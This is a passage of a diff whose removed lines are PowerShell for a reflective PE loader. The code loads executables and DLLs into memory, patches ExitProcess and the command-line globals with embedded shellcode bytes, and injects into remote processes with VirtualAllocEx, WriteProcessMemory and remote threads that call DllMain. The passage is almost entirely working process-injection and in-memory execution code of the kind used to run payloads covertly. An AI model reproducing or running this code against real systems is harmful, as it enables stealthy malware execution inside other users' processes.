- if ($DllHandle -ne [IntPtr]::Zero)
2145
- {
2146
- [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
2147
- [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
2148
- if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
2149
- {
2150
- "Error, couldn't find _wcmdln or _acmdln"
2151
- }
2152
-
2153
- $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2154
- $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2155
-
2156
- #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
2157
- $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
2158
- $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
2159
- $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2160
- $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2161
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
2162
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
2163
- $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
2164
- $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
2165
-
2166
- $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2167
- if ($Success = $false)
2168
- {
2169
- throw "Call to VirtualProtect failed"
2170
- }
2171
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
2172
- $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2173
-
2174
- $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2175
- if ($Success = $false)
2176
- {
2177
- throw "Call to VirtualProtect failed"
2178
- }
2179
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
2180
- $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2181
- }
2182
- }
2183
- #################################################
2184
-
2185
-
2186
- #################################################
2187
- #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
2188
-
2189
- $ReturnArray = @()
2190
- $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
2191
-
2192
- #CorExitProcess (compiled in to visual studio c++)
2193
- [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
2194
- if ($MscoreeHandle -eq [IntPtr]::Zero)
2195
- {
2196
- throw "mscoree handle null"
2197
- }
2198
- [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
2199
- if ($CorExitProcessAddr -eq [IntPtr]::Zero)
2200
- {
2201
- Throw "CorExitProcess address not found"
2202
- }
2203
- $ExitFunctions += $CorExitProcessAddr
2204
-
2205
- #ExitProcess (what non-managed programs use)
2206
- [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
2207
- if ($ExitProcessAddr -eq [IntPtr]::Zero)
2208
- {
2209
- Throw "ExitProcess address not found"
2210
- }
2211
- $ExitFunctions += $ExitProcessAddr
2212
-
2213
- [UInt32]$OldProtectFlag = 0
2214
- foreach ($ProcExitFunctionAddr in $ExitFunctions)
2215
- {
2216
- $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
2217
- #The following is the shellcode (Shellcode: ExitThread.asm):
2218
- #32bit shellcode
2219
- [Byte[]]$Shellcode1 = @(0xbb)
2220
- [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
2221
- #64bit shellcode (Shellcode: ExitThread.asm)
2222
- if ($PtrSize -eq 8)
2223
- {
2224
- [Byte[]]$Shellcode1 = @(0x48, 0xbb)
2225
- [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
2226
- }
2227
- [Byte[]]$Shellcode3 = @(0xff, 0xd3)
2228
- $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
2229
-
2230
- [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
2231
- if ($ExitThreadAddr -eq [IntPtr]::Zero)
2232
- {
2233
- Throw "ExitThread address not found"
2234
- }
2235
-
2236
- $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2237
- if ($Success -eq $false)
2238
- {
2239
- Throw "Call to VirtualProtect failed"
2240
- }
2241
-
2242
- #Make copy of original ExitProcess bytes
2243
- $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2244
- $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
2245
- $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
2246
-
2247
- #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
2248
- # call ExitThread
2249
- Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
2250
- $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
2251
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
2252
- $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2253
- Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
2254
- $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
2255
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
2256
- $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2257
- Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
2258
-
2259
- $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2260
- }
2261
- #################################################
2262
-
2263
- Write-Output $ReturnArray
2264
- }
2265
-
2266
-
2267
- #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
2268
- # It copies Count bytes from Source to Destination.
2269
- Function Copy-ArrayOfMemAddresses
2270
- {
2271
- Param(
2272
- [Parameter(Position = 0, Mandatory = $true)]
2273
- [Array[]]
2274
- $CopyInfo,
2275
-
2276
- [Parameter(Position = 1, Mandatory = $true)]
2277
- [System.Object]
2278
- $Win32Functions,
2279
-
2280
- [Parameter(Position = 2, Mandatory = $true)]
2281
- [System.Object]
2282
- $Win32Constants
2283
- )
2284
-
2285
- [UInt32]$OldProtectFlag = 0
2286
- foreach ($Info in $CopyInfo)
2287
- {
2288
- $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2289
- if ($Success -eq $false)
2290
- {
2291
- Throw "Call to VirtualProtect failed"
2292
- }
2293
-
2294
- $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
2295
-
2296
- $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2297
- }
2298
- }
2299
-
2300
-
2301
- #####################################
2302
- ########## FUNCTIONS ###########
2303
- #####################################
2304
- Function Get-MemoryProcAddress
2305
- {
2306
- Param(
2307
- [Parameter(Position = 0, Mandatory = $true)]
2308
- [IntPtr]
2309
- $PEHandle,
2310
-
2311
- [Parameter(Position = 1, Mandatory = $true)]
2312
- [String]
2313
- $FunctionName
2314
- )
2315
-
2316
- $Win32Types = Get-Win32Types
2317
- $Win32Constants = Get-Win32Constants
2318
- $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2319
-
2320
- #Get the export table
2321
- if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
2322
- {
2323
- return [IntPtr]::Zero
2324
- }
2325
- $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
2326
- $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
2327
-
2328
- for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
2329
- {
2330
- #AddressOfNames is an array of pointers to strings of the names of the functions exported
2331
- $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2332
- $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
2333
- $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
2334
-
2335
- if ($Name -ceq $FunctionName)
2336
- {
2337
- #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
2338
- # which contains the offset of the function in to the DLL
2339
- $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
2340
- $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
2341
- $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2342
- $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
2343
- return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
2344
- }
2345
- }
2346
-
2347
- return [IntPtr]::Zero
2348
- }
2349
-
2350
-
2351
- Function Invoke-MemoryLoadLibrary
2352
- {
2353
- Param(
2354
- [Parameter( Position = 0, Mandatory = $true )]
2355
- [Byte[]]
2356
- $PEBytes,
2357
-
2358
- [Parameter(Position = 1, Mandatory = $false)]
2359
- [String]
2360
- $ExeArgs,
2361
-
2362
- [Parameter(Position = 2, Mandatory = $false)]
2363
- [IntPtr]
2364
- $RemoteProcHandle,
2365
-
2366
- [Parameter(Position = 3)]
2367
- [Bool]
2368
- $ForceASLR = $false
2369
- )
2370
-
2371
- $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2372
-
2373
- #Get Win32 constants and functions
2374
- $Win32Constants = Get-Win32Constants
2375
- $Win32Functions = Get-Win32Functions
2376
- $Win32Types = Get-Win32Types
2377
-
2378
- $RemoteLoading = $false
2379
- if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2380
- {
2381
- $RemoteLoading = $true
2382
- }
2383
-
2384
- #Get basic PE information
2385
- Write-Verbose "Getting basic PE information from the file"
2386
- $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
2387
- $OriginalImageBase = $PEInfo.OriginalImageBase
2388
- $NXCompatible = $true
2389
- if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
2390
- {
2391
- Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
2392
- $NXCompatible = $false
2393
- }
2394
-
2395
-
2396
- #Verify that the PE and the current process are the same bits (32bit or 64bit)
2397
- $Process64Bit = $true
2398
- if ($RemoteLoading -eq $true)
2399
- {
2400
- $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
2401
- $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
2402
- if ($Result -eq [IntPtr]::Zero)
2403
- {
2404
- Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
2405
- }
2406
-
2407
- [Bool]$Wow64Process = $false
2408
- $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
2409
- if ($Success -eq $false)
2410
- {
2411
- Throw "Call to IsWow64Process failed"
2412
- }
2413
-
2414
- if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
2415
- {
2416
- $Process64Bit = $false
2417
- }
2418
-
2419
- #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
2420
- $PowerShell64Bit = $true
2421
- if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2422
- {
2423
- $PowerShell64Bit = $false
2424
- }
2425
- if ($PowerShell64Bit -ne $Process64Bit)
2426
- {
2427
- throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
2428
- }
2429
- }
2430
- else
2431
- {
2432
- if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2433
- {
2434
- $Process64Bit = $false
2435
- }
2436
- }
2437
- if ($Process64Bit -ne $PEInfo.PE64Bit)
2438
- {
2439
- Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
2440
- }
2441
-
2442
-
2443
- #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
2444
- Write-Verbose "Allocating memory for the PE and write its headers to memory"
2445
-
2446
- #ASLR check
2447
- [IntPtr]$LoadAddr = [IntPtr]::Zero
2448
- $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
2449
- if ((-not $ForceASLR) -and (-not $PESupportsASLR))
2450
- {
2451
- Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
2452
- [IntPtr]$LoadAddr = $OriginalImageBase
2453
- }
2454
- elseif ($ForceASLR -and (-not $PESupportsASLR))
2455
- {
2456
- Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
2457
- }
2458
-
2459
- if ($ForceASLR -and $RemoteLoading)
2460
- {
2461
- Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
2462
- }
2463
- if ($RemoteLoading -and (-not $PESupportsASLR))
2464
- {
2465
- Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
2466
- }
2467
-
2468
- $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
2469
- $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
2470
- if ($RemoteLoading -eq $true)
2471
- {
2472
- #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
2473
- $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2474
-
2475
- #todo, error handling needs to delete this memory if an error happens along the way
2476
- $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2477
- if ($EffectivePEHandle -eq [IntPtr]::Zero)
2478
- {
2479
- Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
2480
- }
2481
- }
2482
- else
2483
- {
2484
- if ($NXCompatible -eq $true)
2485
- {
2486
- $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2487
- }
2488
- else
2489
- {
2490
- $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2491
- }
2492
- $EffectivePEHandle = $PEHandle
2493
- }
2494
-
2495
- [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
2496
- if ($PEHandle -eq [IntPtr]::Zero)
2497
- {
2498
- Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
2499
- }
2500
- [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
2501
-
2502
-
2503
- #Now that the PE is in memory, get more detailed information about it
2504
- Write-Verbose "Getting detailed PE information from the headers loaded in memory"
2505
- $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2506
- $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
2507
- $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
2508
- Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
2509
-
2510
-
2511
- #Copy each section from the PE in to memory
2512
- Write-Verbose "Copy PE sections in to memory"
2513
- Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
2514
-
2515
-
2516
- #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
2517
- Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
2518
- Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
2519
-
2520
-
2521
- #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
2522
- Write-Verbose "Import DLL's needed by the PE we are loading"
2523
- if ($RemoteLoading -eq $true)
2524
- {
2525
- Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
2526
- }
2527
- else
2528
- {
2529
- Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2530
- }
2531
-
2532
-
2533
- #Update the memory protection flags for all the memory just allocated
2534
- if ($RemoteLoading -eq $false)
2535
- {
2536
- if ($NXCompatible -eq $true)
2537
- {
2538
- Write-Verbose "Update memory protection flags"
2539
- Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
2540
- }
2541
- else
2542
- {
2543
- Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
2544
- }
2545
- }
2546
- else
2547
- {
2548
- Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
2549
- }
2550
-
2551
-
2552
- #If remote loading, copy the DLL in to remote process memory
2553
- if ($RemoteLoading -eq $true)
2554
- {
2555
- [UInt32]$NumBytesWritten = 0
2556
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
2557
- if ($Success -eq $false)
2558
- {
2559
- Throw "Unable to write shellcode to remote process memory."
2560
- }
2561
- }
2562
-
2563
-
2564
- #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
2565
- if ($PEInfo.FileType -ieq "DLL")
2566
- {
2567
- if ($RemoteLoading -eq $false)
2568
- {
2569
- Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
2570
- $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2571
- $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2572
- $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2573
-
2574
- $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
2575
- }
2576
- else
2577
- {
2578
- $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2579
-
2580
- if ($PEInfo.PE64Bit -eq $true)
2581
- {
2582
- #Shellcode: CallDllMain.asm
2583
- $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
2584
- $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
2585
- $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
2586
- }
2587
- else
2588
- {
2589
- #Shellcode: CallDllMain.asm
2590
- $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
2591
- $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
2592
- $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
2593
- }
2594
- $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
2595
- $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
2596
- $SCPSMemOriginal = $SCPSMem
2597
-
2598
- Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
2599
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
2600
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
2601
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2602
- Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
2603
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
2604
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
2605
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2606
- Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
2607
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
2608
-
2609
- $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2610
- if ($RSCAddr -eq [IntPtr]::Zero)
2611
- {
2612
- Throw "Unable to allocate memory in the remote process for shellcode"
2613
- }
2614
-
2615
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
2616
- if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
2617
- {
2618
- Throw "Unable to write shellcode to remote process memory."
2619
- }
2620
-
2621
- $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
2622
- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
2623
- if ($Result -ne 0)
2624
- {
2625
- Throw "Call to CreateRemoteThread to call GetProcAddress failed."
2626
- }
2627
-
2628
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
2629
- }
2630
- }
2631
- elseif ($PEInfo.FileType -ieq "EXE")
2632
- {
2633
- #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
2634
- [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
2635
- [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
2636
- $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
2637
-
2638
- #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
2639
- # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
2640
- [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2641
- Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
2642
-
2643
- $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
2644
-
2645
- while($true)
2646
- {
2647
- [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
2648
- if ($ThreadDone -eq 1)
2649
- {
2650
- Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
2651
- Write-Verbose "EXE thread has completed."
2652
- break
2653
- }
2654
- else
2655
- {
2656
- Start-Sleep -Seconds 1
2657
- }
2658
- }
2659
- }
2660
-
2661
- return @($PEInfo.PEHandle, $EffectivePEHandle)
2662
- }
2663
-
2664
-
2665
- Function Invoke-MemoryFreeLibrary
2666
- {
2667
- Param(
2668
- [Parameter(Position=0, Mandatory=$true)]
2669
- [IntPtr]
2670
- $PEHandle
2671
- )
2672
-
2673
- #Get Win32 constants and functions
2674
- $Win32Constants = Get-Win32Constants
2675
- $Win32Functions = Get-Win32Functions
2676
- $Win32Types = Get-Win32Types
2677
-
2678
- $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2679
-
2680
- #Call FreeLibrary for all the imports of the DLL
2681
- if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
2682
- {
2683
- [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
2684
-
2685
- while ($true)
2686
- {
2687
- $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
2688
-
2689
- #If the structure is null, it signals that this is the end of the array
2690
- if ($ImportDescriptor.Characteristics -eq 0 `
2691
- -and $ImportDescriptor.FirstThunk -eq 0 `
2692
- -and $ImportDescriptor.ForwarderChain -eq 0 `
2693
- -and $ImportDescriptor.Name -eq 0 `
2694
- -and $ImportDescriptor.TimeDateStamp -eq 0)
2695
- {
2696
- Write-Verbose "Done unloading the libraries needed by the PE"
2697
- break
2698
- }
2699
-
2700
